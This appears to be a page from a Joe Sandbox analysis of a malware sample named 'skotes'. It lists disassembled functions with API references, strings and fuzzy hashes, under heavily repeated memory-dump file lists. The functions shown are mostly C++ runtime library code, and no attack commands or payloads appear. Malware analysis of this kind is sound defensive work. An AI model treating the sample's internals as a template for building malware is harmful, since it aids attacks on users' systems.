Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: e5aedeb3f7c7327285c97a9ad15948e1f4b73bd472c9971b832ee3f7103e8d8f
Instruction ID: 0886e1d7762c845cd543e62b19f2a131fa20ef8abe4bc7785c486924ed3db2a3
Opcode Fuzzy Hash: e5aedeb3f7c7327285c97a9ad15948e1f4b73bd472c9971b832ee3f7103e8d8f
Instruction Fuzzy Hash: 88317AB1B00215CBCF15DFA8E9456AEB7B5EF09310B64406EE845E7351DB38AE02CBA5

Function 007BCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 007BCC66

Strings

v{, xrefs: 007BCBE1

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v{
API String ID: 3213747228-1518592600
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 77ac5c4256ab6070df1f60937f3493894eb0182b6ea6c90476419967f83aec47
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: D7B10532A04686DFDB16CF28C885BEEBFE5EF55350F14816AE855EB242D6389D01CB60

Function 007B1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 007B1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007B1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007B1C2A

Strings

switchState, xrefs: 007B1B5E
pContext, xrefs: 007B1C22

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: ba379d9ab34a1fdb8e25a2273c208d70e8c679f683714f655710a59afe1b070b
Instruction ID: 4c137fe10d566d4b734c2deede97e704a544766f0fdcc51e99dec3f703f6b642
Opcode Fuzzy Hash: ba379d9ab34a1fdb8e25a2273c208d70e8c679f683714f655710a59afe1b070b
Instruction Fuzzy Hash: 2631A675A00214DBCF05EF64C8A5BEE7775FF44310FA04565E91197341EB78EE11CA90

Function 007B4E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 007B4E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 007B4E86
PMDtoOffset.LIBCMT ref: 007B4EAC

Strings

Bad dynamic_cast!, xrefs: 007B4EEE

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: c6a6bbd64d43b0009f90385b77d647463a6897833b06ef89f48b6cbac80b40ea
Instruction ID: d63153f8e184c87217772d048e642a1a755ec7e19ac5f582c922cec4b0733a31
Opcode Fuzzy Hash: c6a6bbd64d43b0009f90385b77d647463a6897833b06ef89f48b6cbac80b40ea
Instruction Fuzzy Hash: 3121A7B2A04205EFCF14DE68DD4AFEA77B8FB44724B148519F91197282DB39ED0096A1

Function 007B727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 007B72BE

Strings

.bat, xrefs: 007B72ED
.com, xrefs: 007B72FE
.cmd, xrefs: 007B72DC
.exe, xrefs: 007B72CB

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: a71335734e1e795e863cd4126cc5a286f7f4bc39eb6daf4c3fd8d02eccd51576
Instruction ID: 1c6b9cba3318462d8c91e7c4c142fba8e6f8e706619bfecb19edf701267445a8
Opcode Fuzzy Hash: a71335734e1e795e863cd4126cc5a286f7f4bc39eb6daf4c3fd8d02eccd51576
Instruction Fuzzy Hash: DF01262770866235661C50589D06BF617E88BD2BB4B25002BFC54F76C2EF8DDD43A1A0

Function 0079FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0079FB06

Strings

kernel32.dll, xrefs: 0079FA7A
GetThreadGroupAffinity, xrefs: 0079FA93
GetCurrentProcessorNumberEx, xrefs: 0079FABE
SetThreadGroupAffinity, xrefs: 0079FA87

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: d412d5f0e4fd45d5763990bc0b89e10f29ee8f7be37c982f439184ae76bd536a
Instruction ID: be3625c98293dd6cc1e12013c134271408f9ec5b0b105ceb00b7a99c8d4d25da
Opcode Fuzzy Hash: d412d5f0e4fd45d5763990bc0b89e10f29ee8f7be37c982f439184ae76bd536a
Instruction Fuzzy Hash: A6012DA55453457EA710B7786C87EAB39EC9E4671C730493BF504E6292FEACE8004165

Function 007B2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 007B20B7

Part of subcall function 007ACAF3: Mailbox.LIBCMT ref: 007ACB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007B20C8
StructuredWorkStealingQueue.LIBCMT ref: 007B20FE
